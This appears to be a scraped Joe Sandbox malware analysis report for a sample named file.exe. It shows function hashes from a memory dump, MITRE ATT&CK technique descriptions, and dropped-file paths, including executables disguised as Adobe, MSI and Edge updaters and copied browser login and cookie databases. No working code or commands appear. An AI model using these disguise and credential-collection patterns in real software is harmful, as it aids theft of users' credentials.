Instruction ID: 6d5908184478156c1647853dbbd21b2a01ee37e1f13173d60b34c5efe9806ac9
Opcode Fuzzy Hash: 1cc4625157e06482bc7892c183cc23a861961514b381114f5fae70cf94b68db2
Instruction Fuzzy Hash: 20615B366442018FCB14CF2CD88096AB7E6EF89728F059679FC18CB395DB31D818CB91

Function 02E24160 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 02E2428D

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: ebcbb86b9cd2ae8fb99a32f738362cba0fe5b208dd14a9c060a8ecb6f623f188
Instruction ID: a64daac6e82036eddf1321b579255aed7ab45c88c432c7a02fdf4cf8a23d2018
Opcode Fuzzy Hash: ebcbb86b9cd2ae8fb99a32f738362cba0fe5b208dd14a9c060a8ecb6f623f188
Instruction Fuzzy Hash: 9A31CCB2E405149FC715DF68C984A6EBBB9EB85310F50C329E81A973C4DB709D05CBE1

Function 02E4A65A Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000001,?,02E49FE0,00000001,00000364,00000001,00000006,000000FF,?,02E34B3F,02E1ABAA,02E1ABA8,?,?), ref: 02E4A69B

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0f352dc42535b9a4262b6ac870cd2ceb7dce0725a2a9d9338574354f1b3a7551
Instruction ID: ceef6bd7834b8a9bf6a60af1dfa8fc455bb0e26058ef057e7bac405095c0e1d0
Opcode Fuzzy Hash: 0f352dc42535b9a4262b6ac870cd2ceb7dce0725a2a9d9338574354f1b3a7551
Instruction Fuzzy Hash: CBF0B4316D05246B9B216E65FC24B6A774DAF417B8F08E1B2EC09DA380CF30D8008AA4

Function 02E0A290 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6C9C0000,02E5C740,00000000,00000000), ref: 02E0A2A3

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b40c832aaba53639f5e68c3896ce0dc9f0c88b5ab810b567b74645abb09bc702
Instruction ID: 04862dfff71159b733f4f52f2aaf2f569993dc384e0d76d136d16e128cf901be
Opcode Fuzzy Hash: b40c832aaba53639f5e68c3896ce0dc9f0c88b5ab810b567b74645abb09bc702
Instruction Fuzzy Hash: 75C01224E843884FF7068B34AC89772FBC86319A88F589874DA04C2382C7BA80A4C790

Function 02E0A291 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6C9C0000,02E5C740,00000000,00000000), ref: 02E0A2A3

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 0c035ebe699abf7dc61222661c7e28e5c9a1092b081c1520456b36d9df480c04
Instruction ID: aed36fe9996ff0cbe04a9ca47ec9480f82813de16139bba9946f042e091357ea
Opcode Fuzzy Hash: 0c035ebe699abf7dc61222661c7e28e5c9a1092b081c1520456b36d9df480c04
Instruction Fuzzy Hash: 4CC08C49C493C48FE7029334488D235FF806F3A444F9888A8C1408A343C2EB00618291

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe

C:\Users\user\AppData\Local\Temp\9VicU2EcsIoeWuNiSqblWRg.zip

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\3b6N2Xdh3CYwplaces.sqlite

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\AUbJyYTe1V8SLogin Data

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\D87fZN3R3jFeplaces.sqlite

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KqbMb6uMMrllLogin Data For Account

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\NrGxmJ6iR8w5Cookies

Windows Analysis Report
file.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre